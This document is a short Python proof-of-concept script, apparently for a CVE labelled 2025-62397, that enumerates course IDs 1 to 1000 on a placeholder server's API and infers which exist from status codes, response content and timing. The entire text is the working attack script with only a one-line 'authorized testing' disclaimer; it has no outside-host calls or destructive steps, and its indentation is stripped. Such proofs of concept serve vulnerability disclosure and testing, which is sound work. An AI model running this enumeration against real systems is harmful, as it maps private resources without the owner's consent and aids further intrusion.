The following code is for security research and authorized testing only.
python
# CVE-2025-62397 PoC - Course ID Enumeration
# This PoC demonstrates how inconsistent responses can leak valid course IDs
import requests
import time
import json
from concurrent.futures import ThreadPoolExecutor
TARGET_URL = "http://target-server/api/courses"
TEST_IDS = range(1, 1001) # Test course IDs 1-1000
def test_course_id(course_id):
"""Test a single course ID and analyze response"""
url = f"{TARGET_URL}/{course_id}"
try:
start_time = time.time()
response = requests.get(url, timeout=10)
elapsed = time.time() - start_time
return {
'course_id': course_id,
'status_code': response.status_code,
'response_time': elapsed,
'content_length': len(response.content),
'response_contains_data': b'course' in response.content.lower() or b'id' in response.content.lower()
}
except requests.exceptions.RequestException as e:
return {'course_id': course_id, 'error': str(e)}
def analyze_responses(responses):
"""Analyze responses to identify valid course IDs"""
# Group responses by status code
status_groups = {}
for resp in responses:
if 'error' not in resp:
status = resp['status_code']
if status not in status_groups:
status_groups[status] = []
status_groups[status].append(resp)
print("\n=== Response Analysis ===")
for status, items in status_groups.items():
avg_time = sum(i['response_time'] for i in items) / len(items)
has_data = sum(1 for i in items if i['response_contains_data'])
print(f"Status {status}: {len(items)} requests, avg_time={avg_time:.3f}s, with_data={has_data}")
# Identify likely valid IDs based on response patterns
valid_ids = []
for resp in responses:
if 'error' not in resp:
# Valid course might return 200 with course data
# Invalid course might return 404 with no course data
if resp['status_code'] == 200 and resp['response_contains_data']:
valid_ids.append(resp['course_id'])
return valid_ids
def main():
print(f"[*] Starting CVE-2025-62397 enumeration test")
print(f"[*] Target: {TARGET_URL}")
print(f"[*] Testing {len(list(TEST_IDS))} course IDs...")
# Test course IDs with threading for efficiency
responses = []
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(test_course_id, cid) for cid in TEST_IDS]
for future in futures:
responses.append(future.result())
# Analyze and identify valid IDs
valid_ids = analyze_responses(responses)
print(f"\n[+] Potentially valid course IDs found: {valid_ids}")
print(f"[*] Total: {len(valid_ids)} valid courses identified")
# Save results
with open('cve_2025_62397_results.json', 'w') as f:
json.dump({'valid_ids': valid_ids, 'all_responses': responses}, f, indent=2)
print(f"[*] Results saved to cve_2025_62397_results.json")
if __name__ == "__main__":
main()